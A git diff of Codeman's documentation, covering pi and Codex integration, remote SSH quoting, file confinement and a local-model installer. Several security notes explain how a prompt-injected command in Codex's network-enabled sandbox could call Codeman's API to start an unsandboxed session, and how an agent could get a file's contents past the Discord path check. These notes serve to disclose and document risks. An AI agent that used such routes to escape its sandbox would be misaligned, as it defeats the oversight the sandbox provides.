+1 -1
View File
@@ -149,7 +149,7 @@ shared nor seeded.
## Remote SSH cases
`omp` mode is routed through an interactive login shell
(`exec "$SHELL" -i -l -c 'omp'`), because sshd's remote-command PATH does not
(`remoteLoginShellCommand('omp')`), because sshd's remote-command PATH does not
include `~/.local/bin`. Per-session config and `envOverrides` do not cross ssh and are
rejected rather than silently ignored; use the per-host command override instead.
+15 -2
View File
@@ -2,6 +2,12 @@
Tracking issue: [#206 "Plans to support pi.dev?"](https://github.com/Ark0N/Codeman/issues/206)
**SUPERSEDED in part (PR #771, 2026-11):** what this record says about pi's default screen and
the strips no longer holds. Fullscreen became pi's default in 1.0.0, and pi now takes the mouse
strip (`altScreen: 'strip-mux-and-mouse'`). Each affected passage carries a SUPERSEDED note;
current behaviour is in `docs/pi-integration.md` and the "Pi is the same shape" paragraph of
`docs/architecture-invariants.md`.
Status: **IMPLEMENTED 2026-08-13** (see `docs/pi-integration.md` for the user-facing
guide). Everything below is the design record; the open questions were resolved
empirically against pi 0.84.1 and the answers are recorded inline as **RESULT**
@@ -29,7 +35,7 @@ against the upstream docs in `packages/coding-agent/docs/`.
| Config dir | `~/.pi/agent` (override: `PI_CODING_AGENT_DIR`). Holds `auth.json`, `trust.json`, `settings.json`, `models.json` (user-defined providers), `models-store.json` (cached catalogs), `keybindings.json`, `extensions/`, `skills/`, `prompts/`, `themes/`, `AGENTS.md`, `SYSTEM.md`, and the package trees `npm/` + `git/` |
| Sessions | `~/.pi/agent/sessions/--<cwd with / replaced by ->--/<timestamp>_<uuid>.jsonl`, tree-structured (`id`/`parentId`), format v3. Overrides: `PI_CODING_AGENT_SESSION_DIR`, `--session-dir` |
| Credentials | `~/.pi/agent/auth.json` (OAuth subscriptions + API keys, auto-refresh), plus ~34 provider env vars with **no common prefix**. 0.84.1 adds `pi auth check` (auth preflight with optional credential output) |
| TUI | Default: **main screen with terminal-owned scrollback**. Since **0.84.0** an experimental fullscreen mode exists, selectable via `--tui-mode fullscreen` **or at runtime through `/settings`**; the default remains the main-screen mode |
| TUI | Default: **main screen with terminal-owned scrollback**. Since **0.84.0** an experimental fullscreen mode exists, selectable via `--tui-mode fullscreen` **or at runtime through `/settings`**; the default remains the main-screen mode. **SUPERSEDED (PR #771, 2026-11):** fullscreen is the default since pi 1.0.0, and `tuiMode: regular` keeps the main screen |
| Providers | 15+ (Anthropic, OpenAI, Google, Azure, Bedrock, Mistral, Groq, xAI, OpenRouter, Copilot, Baseten since 0.84.0, ...). OAuth subscription login via `/login` for six: ChatGPT Plus/Pro, Claude Pro/Max, GitHub Copilot, xAI, OpenRouter, Radius |
| Permission model | **No permission prompts at all.** No built-in sandbox, no MCP (none planned), no sub-agents, no plan mode, no to-dos, no background bash. Tools run with the user's own permissions |
| Trust model | "Project trust" gates **loading** of project-local `.pi/` config/extensions/skills and **installing missing project packages**, not tool execution. Triggered only when the cwd (or an ancestor) contains `.pi/settings.json`, `.pi/extensions\|skills\|prompts\|themes`, `.pi/SYSTEM.md`/`.pi/APPEND_SYSTEM.md`, or `.agents/skills`; a bare `.pi/` directory does NOT prompt. Global `defaultProjectTrust`: `ask` (default) / `always` / `never` |
@@ -88,6 +94,12 @@ for pi, i.e. pi appears in none of them): the replay-side strip in `session-rout
live-stream twin in `session.ts`, and the frontend `_sessionUsesServerMouseStrip()` in
`terminal-ui.js` (usages `:3432`, `:3697`).
**SUPERSEDED (PR #771, 2026-11):** pi still stays out of `isAltScreenStripMode()`, but it is no
longer outside every strip: it takes the mouse strip (`isMuxMouseStripMode()`), which removes the
alt-screen toggles and the mouse enables and keeps `3J`. Fullscreen is its default since 1.0.0, the
enables are recorded as `cliMouseTracking`, and the wheel is forwarded from that flag, so it survives
a tab switch or reload. A `/settings` flip of `tuiMode` is followed in both directions.
### 2.3 tmux required, no direct-PTY fallback, no per-mode configurator
Same rule as the other external CLIs: `pi` mode throws if tmux is unavailable. Add a fourth block to
@@ -340,6 +352,7 @@ because the result lands in a `bash -c "..."` string):
- `--tui-mode` (released in 0.84.0): never passed by Codeman. The main-screen default is the
friendly case for the browser terminal, and fullscreen remains the user's own runtime choice via
`/settings` (§2.2 is designed for that). `--use-theme` (still unreleased) likewise.
**SUPERSEDED (PR #771, 2026-11):** still never passed, but fullscreen is the default since pi 1.0.0.
- `--name <name>` (`-n`): nice for `/resume` readability, but names contain spaces and would be the
first user-controlled value needing real shell quoting in `buildSpawnCommand`. Defer.
- `--no-session`: ephemeral mode fights respawn/resume. Defer.
@@ -671,7 +684,7 @@ follow-up surfaces in from the start (login-shell routing in Phase 1, availabili
| ------------------------------------------------------------------- | ------------------------------------------------------------------------------ |
| `pi` resolves to an unrelated binary | `pi --version` + semver-shape check in the resolver (§2.6); path and version shown in `/api/pi/status` |
| Pi's TUI repaints in a way the browser terminal handles badly | Test scrollback and repaint early (step 3 of §7); pi's default is main-screen with terminal-owned scrollback, which is the friendly case |
| Fullscreen TUI mode (shipped 0.84.0, runtime-switchable) | Already designed for: pi stays OUT of the strip list, so a user flipping `/settings` to fullscreen gets opencode-like alt-screen behavior, not corruption. §7 step 7 tests the flip explicitly |
| Fullscreen TUI mode (shipped 0.84.0, runtime-switchable) | Already designed for: pi stays OUT of the strip list, so a user flipping `/settings` to fullscreen gets opencode-like alt-screen behavior, not corruption. §7 step 7 tests the flip explicitly. **SUPERSEDED (PR #771, 2026-11):** fullscreen is the default since pi 1.0.0 and pi now takes the mouse strip, see §2.2 |
| The buffer local-echo overlay fights pi's live composer | §2.10: explicit E2E gate (§7 step 4) with the one-line `'off'` fallback; predictive echo for pi is a tracked follow-up, not a v1 blocker |
| Pi moves fast (pre-1.0; 9 releases in the 7 weeks before 0.84.1) | Keep the flag surface small; every flag validated and droppable; nothing pinned in the Dockerfile beyond the `--no-cache` rebuild cadence. Live example of the hazard: `--tui-mode` went from main-only docs to released between the two drafts of this plan |
| Docker image grows | Pi is an npm package; the layer is modest next to the ~190MB `agy` binary |
+10 -4
View File
@@ -88,9 +88,15 @@ bypass, and project trust is a decision the person at the terminal makes.
- **`--api-key`.** Never. It would put a provider secret on the spawn command
line, visible in `ps`, tmux server state and logs. `PI_*` overrides go through
socket-scoped `tmux setenv` for exactly this reason.
- **`--tui-mode`.** Pi's default main-screen TUI is the friendly case for a
browser terminal. The fullscreen mode (0.84.0) stays your own runtime choice via
`/settings`.
- **`--tui-mode`.** Which TUI you get stays your choice, in pi's `tuiMode` setting.
Fullscreen is the default since pi 1.0.0: the wheel and clicks reach pi, and because
Codeman strips pi's mouse enables, a drag selects text in the browser rather than
using pi's own selection or scrollbar drag. With **Wheel Scrolls Local History** on,
the wheel does nothing in fullscreen pi: the setting pins it to a local buffer pi
leaves empty, and pi has no paging fallback. `tuiMode: regular`, the default below
1.0.0, is inline with terminal-owned scrollback and emits no mouse enables at all. A
pi from 0.84.0 set to fullscreen enables mouse tracking the same way the 1.0.0
default does, and Codeman treats it the same.
- **`--name`, `--no-session`, `-p`/`--print`, `--mode json`, `--mode rpc`,
`--tools`/`--exclude-tools`, `-e`/`--extension`, `--skill`,
`--system-prompt`.** Tracked as follow-ups in the plan doc.
@@ -215,7 +221,7 @@ a Docker case only sees that container's own history.
## Remote SSH cases
`pi` mode is routed through an interactive login shell
(`exec "$SHELL" -i -l -c 'pi'`), because sshd's remote-command PATH does not
(`remoteLoginShellCommand('pi')`), because sshd's remote-command PATH does not
include npm's global bin on most hosts. Per-session config and `envOverrides` do
not cross ssh and are rejected rather than silently ignored; use the per-host
command override instead.
+52 -3
View File
@@ -91,7 +91,7 @@ builds the command that launches (or **reattaches** to) the remote session:
```
ssh -o BatchMode=yes -t <connection-args> user@host \
'tmux -L codeman-remote new-session -A -s codeman-ssh-<id8> -c <remotePath> "cd <remotePath> && exec <cli>" \; \
'tmux -L codeman-remote new-session -A -s codeman-ssh-<id8> -c <remotePath> /bin/sh -c <pane-command> \; \
set -t codeman-ssh-<id8> status off \; set -t codeman-ssh-<id8> mouse off \; \
set -t codeman-ssh-<id8> prefix C-q \; set -s escape-time 0 \; \
set -t codeman-ssh-<id8> window-size latest \; \
@@ -100,6 +100,9 @@ ssh -o BatchMode=yes -t <connection-args> user@host \
set -t codeman-ssh-<id8> remain-on-exit failed'
```
`<pane-command>` is `cd <remotePath> && exec <cli>`, shell-quoted as one token. With a
`commands.*` override that token stands alone, with no `/bin/sh -c` in front of it.
Key points:
- **`new-session -A -s codeman-ssh-<id8>`** = attach-if-exists-else-create, so a
@@ -133,6 +136,45 @@ Key points:
**login shell**, not the agent.
- The **whole tmux invocation is a single shell-quoted ssh argument**, and the
pane command is independently quoted, so a `remotePath` with spaces is safe.
- **That argument reaches the far end verbatim** (#760): the launch, an adopted
session's ssh attach included, goes to the local `bash -c` in single quotes, so
`$HOME`, `$PATH` and `$SHELL` are the remote user's. In double quotes the local `sh` expanded them first, which sent
this host's home and PATH to the remote. ⚠️ Every `$` in a `commands.*` override
now expands on the far end too, and a bare `$VAR` in an `extraSshOptions` value
reaches `ssh` as those literal characters at launch, as it always did in the link
and quick-start tmux probes. A Docker launch is verbatim as well, so a bare `$VAR`
in `extraCreateArgs`/`extraExecArgs` reaches `docker` the same way. Write those
values out.
- **tmux picks the shell by argument count** (measured on 3.4): one argument runs
through the remote `default-shell`, two or more are exec'd directly. Codeman's own
pane command is POSIX, so it goes to `/bin/sh -c` as separate arguments, and a fish
login shell (or a `default-shell` set in the remote `~/.tmux.conf`) never parses it:
fish refuses `${SHELL:-/bin/sh}` with status 127, which is a dead pane. A `commands.*`
override stays one argument on purpose, since it is written for the user's own shell
(`source` and `[[` work in bash and zsh and die under a dash `/bin/sh`).
- **Login shells**: POSIX shells and fish work, and csh and tcsh do within the limits
below. nushell and elvish cannot run the PATH bootstrap at all, so no override
helps. A `remotePath` holding an apostrophe does not start under fish.
- **The login flags are picked on the far end**, the only place the shell is known:
the pane command passes `-i -l` unless `${SHELL##*/}` is `csh` or `tcsh`, which get
neither. tcsh honors `-l` only as its one flag and exits on `-i -l -c`, `-l -c` and
`-i -l` (measured on 6.24), so a tcsh session reads `.tcshrc` and not `.login`. The
text is one brace group, so `cd <path> && { …; }` starts nothing when the `cd` fails.
- **The login shell still parses the ssh line itself**, as it did in 1.48.0, so tcsh
has two more limits. It has no `export`, so the PATH bootstrap only prints an error
there, and `tmux` and the CLI have to be on a PATH that `.tcshrc` sets. And the tmux
prerequisite probe's `command -v tmux` needs a `command` executable: macOS and the
BSDs ship one, Debian and Ubuntu do not, so linking a tcsh host there is refused
with `could not verify tmux`.
- **File reads never leave a quote for the login shell** (`remoteLoginShellLine()` in
`remote-files.ts`). Previews, downloads, folder grids and Edit history are multi-line
POSIX scripts holding a path someone else may have named. fish reads `\'` inside
single quotes as a quote, so the shell-quoted text flips in and out of quotes, and
csh and tcsh end a command at a newline even inside quotes, so both ran part of a path
as a command (measured). The script therefore crosses the login shell as one word of
`printf` text with those bytes in octal, and only `sh` ever reads it. Plain csh caps
a word at about 8 KB and answers `Word too long` for a larger read; tcsh has no such
cap.
- Connection options come from the **same `buildSshConnectionArgs(remote)`** as
the prereq probe; `-t` is inserted right after `ssh -o BatchMode=yes`,
preserving historical token order.
@@ -176,6 +218,12 @@ when the tab closes.
session. `remoteSessionName` holds its existing tmux name. Closing the tab
**detaches**, never kills.
⚠️ This covers `codeman-*` sessions on the `codeman-remote` socket, the ones another
Codeman runs. A tmux session a HUMAN started on the host is a separate path:
`GET /api/mux/foreign?remote=1` finds it and `POST /api/sessions/adopt` wraps it, with
the connection on `Session.adopt.remote` and `session.remote` undefined. Closing that tab
detaches too. See `docs/architecture-invariants.md#adopted-foreign-tmux-sessions`.
### Discovery
`listRemoteCodemanSessions(host)` lists the remote's `codeman-*` sessions:
@@ -419,8 +467,9 @@ still has it.
**Not available over ssh (by choice, not by accident):** editing a file (writes would
need SFTP; `docs/file-viewer-edit-plan.md` §6), office-document previews and
generated thumbnails (both need the bytes on the server's disk — no remote file is ever
spilled onto the server), the file-tree/picker listings, and `tail-file`. Those routes
generated thumbnails (both need the bytes on the server's disk: no remote file is ever
spilled onto the server, the Edit history store's diffs being the one exception), the
file-tree/picker listings, and `tail-file`. Those routes
are still local-only, so with an `sshfs` mount in place they read the mounted copy —
the two views can only disagree when that mount is stale. Docker cases are unaffected:
their workspace is bind-mounted at the same absolute path, so local `fs` reads real bytes.
+38 -1
View File
@@ -342,6 +342,25 @@ escapes the session working directory (`..`, absolute paths, and symlinks that
resolve outside). The realpath‑before‑check ordering closes the validation‑time
TOCTOU window.
A local session has one more root while its agent works in a git worktree of the
same repository OUTSIDE its folder (published as `outsideWorktree`). An absolute path inside
that worktree is confined to it by `validateLocalSessionFilePath()`, and only while the
worktree folder still `realpath`s to the path recorded for it. The edit route
(`PUT /api/sessions/:id/file-content`) uses the same check, so a file in that worktree can be
written as well as read. Codeman records such a
worktree only after the session's own repository vouches for it, and never `/`, the
home folder or above, a folder holding the working directory, or a folder at, inside or
around a Docker case workspace (`src/live-worktree.ts`). It also refuses a folder that is
itself a sensitive folder such as `.ssh`, and `validateLocalSessionFilePath()` never serves a
file from the worktree that `isSensitivePath()` blocklists. In multi-user mode a regular
owner's session also needs the owner's folder rule (their own space or the working directory);
an admin's does not. It follows nothing while attachment workspace confinement is on, and
nothing at, inside or around a blocked attachment tree. Codeman judges these rules when the pane
changes directory, and the routes judge confinement and the blocked trees again on every request,
so turning confinement on or blocking the folder stops serving it at once. The multi-user rule is
judged only when the pane changes directory. On every request the routes also check that the
folder still resolves to its recorded path. A relative path is still confined to the working directory alone.
| Route | Cap | Notes |
|-------|-----|-------|
| `file-content` | 10 MB | text preview |
@@ -483,6 +502,15 @@ transient mount blip at launch poisons tmux's long‑lived cwd and crashes
never executes. Large hand‑formatted/generated assets (`app.js`, the gesture
bundle, vendored libs) are `.prettierignore`d for the style pass, but the NUL +
syntax checks still cover them.
- **Installer downloads without a package manager:** on the no-admin route
(`docs/wiki/Installation.md`) `install.sh` fetches and runs software no system
package manager vetted, each checked before it is unpacked or run. The Node.js
tarball is checked against the `SHASUMS256.txt` fetched from nodejs.org over the
same TLS connection, which proves integrity, not independent provenance: the
signature on that file is not checked. The tmux build is checked against a
SHA-256 pinned per platform in the installer. `install.sh cloudflared` takes the
latest cloudflared release into `~/.local/bin` unverified, as the system routes
take the same release, because Cloudflare publishes no checksum file.
---
@@ -558,7 +586,7 @@ Full feature guide: [`docker-cases.md`](docker-cases.md).
- **It strictly improves network posture.** It removes the single shared `CODEMAN_PASSWORD` and gives each person a revocable credential; a non‑loopback bind and the tunnel‑enable guard are satisfied by "multi‑user with ≥1 enabled user" without a shared password.
- **Auth is a parallel branch** (`middleware/auth.ts`) that leaves the single‑user path untouched: per‑user scrypt verify (`timingSafeEqual`, timing‑equalized against user enumeration), identity‑carrying cookies, a per‑username failure bucket (a botnet can't brute one account across IPs; one NATed user can't lock out the rest), and a `mustChangePassword` lockbox. The hook‑secret loopback bypass, host guard, and Origin/CSRF guard are unchanged (hooks authenticate the INSTANCE, not a user).
- **Ownership is enforced server‑side only** and fails closed: `req.authUser` (a synthetic admin in single‑user), `findSessionOrFail` returns NOT_FOUND (never 403) for a foreign session, list/SSE/WS/file‑preview/search all filter by `session.owner`, and SSE routing defaults session‑scoped events to their owner (unresolved owner → withheld). The load‑bearing rule is **non‑admin `workingDir` confinement**: a non‑admin's session/one‑shot working dir must realpath‑resolve inside `~/codeman-users/<name>/cases`, checked BEFORE any disk write.
- **Privileged actions are a one‑bit grant** (`canBypassPermissions`, default off): only granted users (and admins) get `--dangerously-skip-permissions` (others are silently downgraded to `--permission-mode auto`), shell‑mode sessions, cron `launchCommand`, and other CLIs' bypass flags. Machine‑level resources (remote/Docker host definitions, tunnel, self‑update, settings writes) are admin‑only.
- **Privileged actions are a one‑bit grant** (`canBypassPermissions`, default off): only granted users (and admins) get `--dangerously-skip-permissions` (others are silently downgraded to `--permission-mode auto`), shell‑mode sessions, cron `launchCommand`, other CLIs' bypass flags, and Codex's **Allow network access** (`networkAccess`, forced off for a user without the grant, since it lets a command in Codex's sandbox call Codeman's API and start a session outside that sandbox). Machine‑level resources (remote/Docker host definitions, tunnel, self‑update, settings writes) are admin‑only.
- **Clone Repo does not lend the server's git sign-in to non-admins.** A clone writes only inside the caller's own case space, so it is not admin-gated, but the server account's git credential helpers (the Docker image's opt-in `gh`/`az` helpers, or any `gh auth setup-git`) are shared by every user. A non-admin's clone and preflight therefore run with `git -c credential.helper=`, which empties the helper list including the URL-scoped entries (`cloneWithoutCredentialHelpers` in `case-routes.ts`, argv pinned in `test/git-clone.test.ts`). This closes the Clone Repo path only: the account's SSH keys still apply to an `ssh://` URL, and a non-admin's agent sessions run as the same account, consistent with the first bullet above. Docker cases are a second route to the same sign-in: with `CODEMAN_AGENT_IMAGE_INSTALL_GH`/`_AZ` on, a non-admin's Docker case with credential seeding on (the default) receives a copy of the server account's `gh`/`az` sign-in, exactly as it receives the Claude and Codex credentials.
- **Admin actions are audited** append‑only to `~/.codeman/admin-audit.jsonl` (acting admin, action, target, IP). Passwords set by an admin create/reset are one‑time (returned once, force change). Under Basic auth, `logout` only truly ends QR‑issued sessions — to lock someone out, disable the account or reset the password (a proper login form is a deferred Phase 6).
@@ -585,6 +613,15 @@ Opt-in and off by default: the server POSTs the Web Push events (permission prom
- **Discord bridge** (`src/discord-bridge.ts`, [setup](discord-bridge.md)): the bot token lives in `~/.codeman/discord.json` (0600, tmp+rename) and is never returned by the Discord routes, logged or put in an error, and the attachment, folder and download routes refuse the file. A session whose folder is the home directory can still read it through its own file viewer, which serves that workspace without the blocklist. Inbound replies are typed into a session only from `allowedUserIds`, in the configured guild, inside a thread the bridge created; anything else is dropped unread. A reply becomes one printable line plus Enter, capped at 1000 characters and one per second per tab. Posts send `allowed_mentions` limited to the allowlisted ids, so agent output cannot ping a server. **Files:** an attachment is fetched only from Discord's own HTTPS hosts (no redirects followed), at most 5 per reply and 8 MB each, saved 0600 under `<tab folder>/.codeman-discord/` with the name reduced to `[A-Za-z0-9._-]`; a file a CLI sends must be a regular file whose real path (symlinks followed) lies inside its own tab's folder and is not on the attachment blocklist (`isBlockedAttachmentPath`, since a tab's folder can be the home directory), which stops a sensitive file being uploaded by mistake, and remote sessions send and receive none. A received file is untrusted content to whatever opens it. **What the checks do not stop:** the agent runs as the same OS user, so the path check prevents accidental uploads, not a determined agent that pastes a file's contents into the message. **What leaves the machine:** a permission or question alert sends the rendered screen (whatever the agent printed), and a finished turn or an error sends the CLI's whole last message, read from its transcript (up to 8 posts of 1,900 characters). `idle_prompt` is a warning, so with the default scope every Claude turn left unanswered for a minute is posted, and with **Which events** set to Everything every turn end is; treat the Discord server as holding that output. **Multi-user:** the bridge is one allowlist for the whole server, so an allowlisted Discord account can type into every user's sessions; only an admin can configure it. **Startup hint:** a fixed text (no user input) is added to Claude's system prompt; no other CLI is sent it. The bridge only dials out (REST and the gateway WebSocket), so it needs no inbound exposure. A Discord account on the allowlist can drive agents that run shell commands: it needs 2FA.
- **It carries session data to a third party.** Titles and bodies include session names, tool names and error text, all agent- or user-controlled, so Discord gets `allowed_mentions: { parse: [] }` and Slack's `& < >` are escaped: agent output cannot ping a channel. In multi-user mode all three routes are admin-only and the channel is instance-wide: it receives every user's session events, the same reach an admin's own Web Push has, which means non-admins' session details leave the box at the admin's choice.
## 10d. The model on this Mac (local model install)
Opt-in by a click, macOS only, admin-only in multi-user mode on every verb. The server downloads one pinned runtime build, runs it as its own child, pulls one model into it, installs the coding agent when it is missing, and saves one endpoint record. Source: `src/local-model/`, routes in `src/web/routes/local-model-routes.ts`. Guide: [`local-models.md`](local-models.md).
- **Supply chain: a compiled pin.** The runtime's URL, size and sha256 are a constant in `src/local-model/runtime.ts` that no file, setting or request can change; the archive is hashed while it streams and compared BEFORE anything is unpacked, a mismatch deletes it, and only `/usr/bin/tar` unpacks it into a folder under the data dir. The model comes from the runtime's own registry under the name the catalogue pins; the digest the runtime reports after the pull is stored, and a model whose digest changed under that name is refused at the next start.
- **A loopback port without a login.** The runtime listens on `127.0.0.1:<port>` (chosen once from 11435) with no authentication, like every model server of its kind: any program of any account on the Mac, and any web page served from `localhost`, can use it and change its models. What limits that: the endpoint record lists ONE model and the discovery sweep leaves it alone, the digest is compared before an agent is started on it (every start path, see the guide), and a listener on the port that is not our own child (judged by the stored pid's command line, never by the port alone) is reported as `port-in-use` and never signalled. An open session keeps calling the port while the runtime is stopped, which is why Stop and a port change are refused while one uses the model.
- **A second install path for a coding agent, without `cliManagementEnabled`.** The job runs the COMPILED stock install command of a catalogue harness row (never a `clis.json` override, never a custom entry) through the same runner as CLI management, only after the consent screen showed the literal command, and writes the admin audit entry (`cli_install`, `via: 'local-model'`). The installer runs as the server's user with the same reach as every other spawn.
- **The runtime's own files stay inside `~/.codeman/local-model/`**: its private HOME (so no `~/.ollama` is created), its model store and its unpacked folder; its environment is an allowlist (no `CODEMAN_*`). Remove deletes only inside that folder, refuses a folder that is a symbolic link, and ends the runtime (ours by its command line) before any file goes.
---
## 11. Quick reference
+20
View File
@@ -86,6 +86,26 @@ covered like any other stable behavior. Other agent commands and API routes keep
their existing guarantees. Promotion to stable requires an explicit documented
decision.
### Experimental local model routes
`GET /api/v1/local-model`, `POST /api/v1/local-model/install`, `/cancel`, `/resume`
and `/runtime`, and `DELETE /api/v1/local-model` (and their `/api` aliases) are
labeled experimental, so item 3 above applies to them: their paths, their payloads
(the hardware facts, the verdicts and reasons, the candidate fields, the `install`
object with its states, steps, error codes and actions, the 409 conflict shape and
every English sentence) and their behavior may change or be removed in a MINOR or
PATCH release. They look at the Mac the server runs on, say which local model fits,
and install, start, stop and remove one ([local-models.md](local-models.md)).
They are not behind a setting. Reading changes nothing; an install starts only on an
explicit request that carries the size the person confirmed. All of them are admin
only in multi-user mode. What an install leaves behind is ordinary, stable state: one
saved model endpoint with the id `local-ollama` and the `customModelEndpointsEnabled`
setting switched on, both of which the stable custom model endpoint routes read like
any other endpoint. On-disk state (`local-model.json`, the `local-model/` folder) is
internal, as for every other file in the data directory. Promotion to stable requires
an explicit documented decision.
## Deprecation policy
When we need to change a covered surface:
+18 -2
View File
@@ -79,7 +79,7 @@ output. The other CLIs expose no equivalent.
| Subagent and team windows | Yes | No |
| Model, effort, advisor, and ultracode controls | Yes | No |
| `stop` and `blocked` wait signals | Yes | DeepSeek yes; Codex `blocked` only; elsewhere 400 if you ask for them explicitly |
| The bundled agent skill | Yes | No |
| The bundled agent skill | Yes | Every CLI except Pi and Copilot, in `.agents/skills/` |
Everything that makes a session a session works everywhere. What is Claude-only is mostly
the machinery that needs to know *what* the agent is doing rather than *that* it is doing
@@ -140,8 +140,24 @@ Explicit `codexConfig.model` / `codexConfig.reasoningEffort` values take precede
Custom model endpoints, Docker containers and remote host command overrides keep their own settings.
Changing a default affects new sessions and does not edit Codex configuration files.
Two behaviours that are deliberate and worth knowing:
**Allow network access** reaches the same local launches. It opens the network only where
Codex runs the folder in its workspace-write sandbox and does not change Codex's sandbox
mode: a folder Codex runs read-only keeps the network closed, and Codex asks per command.
With it on, commands in the sandbox can call Codeman's API, which can start a session
outside the sandbox with no approval prompt, even when a password is set. See
[The Codeman Skill](Codeman-Skill#when-the-agent-is-codex) and
[Security](Security#what-codeman-does-not-protect-against).
Behaviours that are deliberate and worth knowing:
- **Each local session runs its own app server.** Codex 0.162 and later otherwise hands
every client's commands to one shared background server, which runs them with the
environment of whichever session started it, and a server left by another Codex version
stops every launch on a dialog. So Codeman starts a local Codex 0.162 or later with
`--no-daemon`. The trade-off, going by Codex's own help text: `codex agents` browses the
sessions on that shared server and `codex remote-control` manages it, so do not expect
either to see a session started this way. Remote and Docker launches do not get the
flag, and neither does a local launch whose Codex version Codeman could not read.
- **Predictive echo instead of buffered echo.** Codex's composer reacts to every keystroke,
a `/` opens a live-filtering picker, arrows edit server-side state. Buffering keystrokes
until Enter starved it, so Codex paints each keystroke at the predicted cell while the
+1 -1
View File
@@ -32,7 +32,7 @@ The shape of it:
- The loop ends when the agent signals completion, when the iteration cap is reached, or
when you stop it.
Start it from **Session Options → Ralph / Todo**, or from the wizard on the welcome screen.
Start it from **Session Options → Ralph / Todo**.
| Setting | What it does |
| ---------------------- | ------------------------------------------------------------------------ |
+46 -9
View File
@@ -43,7 +43,11 @@ DeepSeek Harness worker on a local qwen model and a Claude Code worker power on
## Install it
Pick one route. The skill only acts inside a Codeman session, so a global install is safe.
Usually you do not have to: since 1.50.0 Codeman puts the skill into every new session's
folder by default (the Web UI row below), where that session's CLI looks for skills. The copy
ignores itself in git, so your repository never lists it as a new file.
Otherwise pick one route. The skill only acts inside a Codeman session, so a global install is safe.
| How | Command | Scope |
| ------------------ | ------------------------------------------------------------------------------- | ----- |
@@ -51,10 +55,13 @@ Pick one route. The skill only acts inside a Codeman session, so a global instal
| Claude Code plugin | `/plugin marketplace add Ark0N/Codeman`, then `/plugin install codeman@codeman` | Global, through Claude Code's plugin manager. `/plugin update codeman` follows releases. |
| Bundled CLI | `codeman skill install` | Global, at `~/.claude/skills/codeman`. |
| Bundled CLI | `codeman skill install --case <name> [--mode <mode>]` | One case. `--mode codex` (or any other run mode) writes it where that CLI looks for skills. |
| Web UI | **App Settings → Agents & CLIs → All agent CLIs → Codeman Agent Skill** | Injects it into each case when a session is created, where that session's CLI looks: `.claude/skills/` for Claude Code, `.agents/skills/` for Codex, Gemini CLI, OpenCode, Antigravity, Grok, DeepSeek and OMP. Off by default. |
| Web UI | **App Settings → Agents & CLIs → All agent CLIs → Codeman Agent Skill** | Injects it into each case when a session is created, where that session's CLI looks: `.claude/skills/` for Claude Code, `.agents/skills/` for Codex, Gemini CLI, OpenCode, Antigravity, Grok, DeepSeek and OMP. On by default since 1.50.0. |
Use the plugin **or** `codeman skill install`, not both: a Claude Code with both lists the
skill twice (`codeman` and `codeman:codeman`).
skill twice (`codeman` and `codeman:codeman`). The Web UI copy counts too, and it is on by
default: with the plugin installed, Claude Code sessions in Codeman list the skill twice.
Both work. Turn **Codeman Agent Skill** off if the duplicate bothers you (other CLIs then
lose their copy too), or use the Web UI copy instead of the plugin.
The web UI route skips pi, because a project skill makes pi ask to trust the folder at
startup. A pi or plain shell session uses the [`codeman agent`
@@ -67,9 +74,16 @@ same verbs as shell commands.
Codeman-managed copy in that case, whichever CLI's directory it sits in). It never touches a
`skills/codeman` you wrote yourself.
Turning the web UI setting back off **does not remove copies it already injected**, because
To stop the Web UI copy, turn **App Settings → Agents & CLIs → All agent CLIs → Codeman Agent
Skill** off. It is on by default since 1.50.0: a settings file without the setting means on,
and only switching it off turns it off. Existing installs that stored off are switched on
once at the first 1.50.0 start (every App Settings save on an earlier version stored the old
default, off, whether or not you touched this switch); turning it off afterwards sticks.
Turning the web UI setting off **does not remove copies it already injected**, because
a sweep at session start would pull the skill out from under other live sessions sharing
that directory. Remove them per case with `codeman skill uninstall --case <name>`.
that directory. Remove them per case with `codeman skill uninstall --case <name>`, which
also removes the copy's `.gitignore`.
## Then just ask
@@ -83,6 +97,7 @@ These prompts work as written:
| "Spin up 3 workers for lint, typecheck and tests, run them in parallel, report failures." | One session per task, all started first, then gathered as each finishes. |
| "Have a claude worker summarize `src/session.ts`, then close it." | Spawns, waits until the worker is ready, sends and waits, reads the answer, deletes the session. |
| "Have a DeepSeek Harness worker build search and a claude worker build checkout." | A mixed fleet: one worker per CLI, started in one go. |
| "Use the local model to summarize every file in `docs/`, then check its summaries." | A worker on the model Codeman installed on this Mac does the bulk; the lead reads its answer back and reviews it. Without a local model, it says why. |
| "Watch session w4 and tell me if it gets stuck on a permission prompt." | Blocks on the `blocked` signal and brings the question to **you**. |
Sessions the agent creates are deleted when it is done, so you can watch the tabs appear and
@@ -118,6 +133,12 @@ so the skill can wait for "turn finished" and read the answer as clean text. Eve
and plain shell sessions are synchronized on an output marker instead, which works the same
from your side. See [Agent CLIs](Agent-CLIs) for the run modes.
**The model on this Mac is a worker too.** When Codeman has installed a local model
([A model that runs on this Mac](Custom-Model-Endpoints#a-model-that-runs-on-this-mac)), a
Claude Code lead can hand work to it: Claude in the cloud plans and reviews, the local model
takes summaries, first drafts and files that should stay on the machine. It answers one
request at a time and is slower than a cloud model, and the skill never installs one for you.
With Claude Code workers, where the installed Claude Code supports it, the lead can also
message a worker directly instead of typing into its terminal.
@@ -140,12 +161,28 @@ message a worker directly instead of typing into its terminal.
Two things to know:
- Codex's default sandbox blocks network access, even to this machine, so the skill needs
**Bypass approvals and sandbox** (App Settings, Codex).
- Codex's default sandbox blocks network access, even to this machine, so a Codex session
needs **Allow network access** (App Settings, Codex) before it can start and drive
others. The setting is app-wide: it applies to every local Codex session started after
you switch it on, not only the ones you mean to orchestrate. It also has a cost: commands
in Codex's sandbox can then call Codeman's API, which can start a session outside the
sandbox with no approval prompt, even when a password is set, so the sandbox no longer
contains a prompt-injected command. See
[Security](Security#what-codeman-does-not-protect-against). It opens the network only
where Codex runs the folder in its workspace-write sandbox, which is what Codex does for
a project you trusted. It does not change Codex's sandbox mode: a folder Codex runs
read-only (a new case that is not a git repository, for one) keeps the network closed,
and Codex asks you to approve each call to Codeman. Trust the project in Codex, or use `/permissions` in
Codex for that session, to get workspace-write there. **Bypass approvals and sandbox**
works everywhere, but removes the sandbox and the approval prompts.
- Codex 0.162 runs its commands in a shared background process, whose Codeman variables can
belong to the session that started it.
belong to the session that started it. Codeman starts a local Codex 0.162 or later with
`--no-daemon`, so each session runs its own. A remote or Docker session does not get the
flag, and neither does a local one whose Codex version Codeman could not read; there,
and with an older Codex, the skill notices and says so instead of acting.
The skill checks for both and says so instead of acting.
OpenCode and DeepSeek Harness need nothing extra: in their default setup neither keeps its
shell commands off the network, so the skill works there as soon as it is injected.
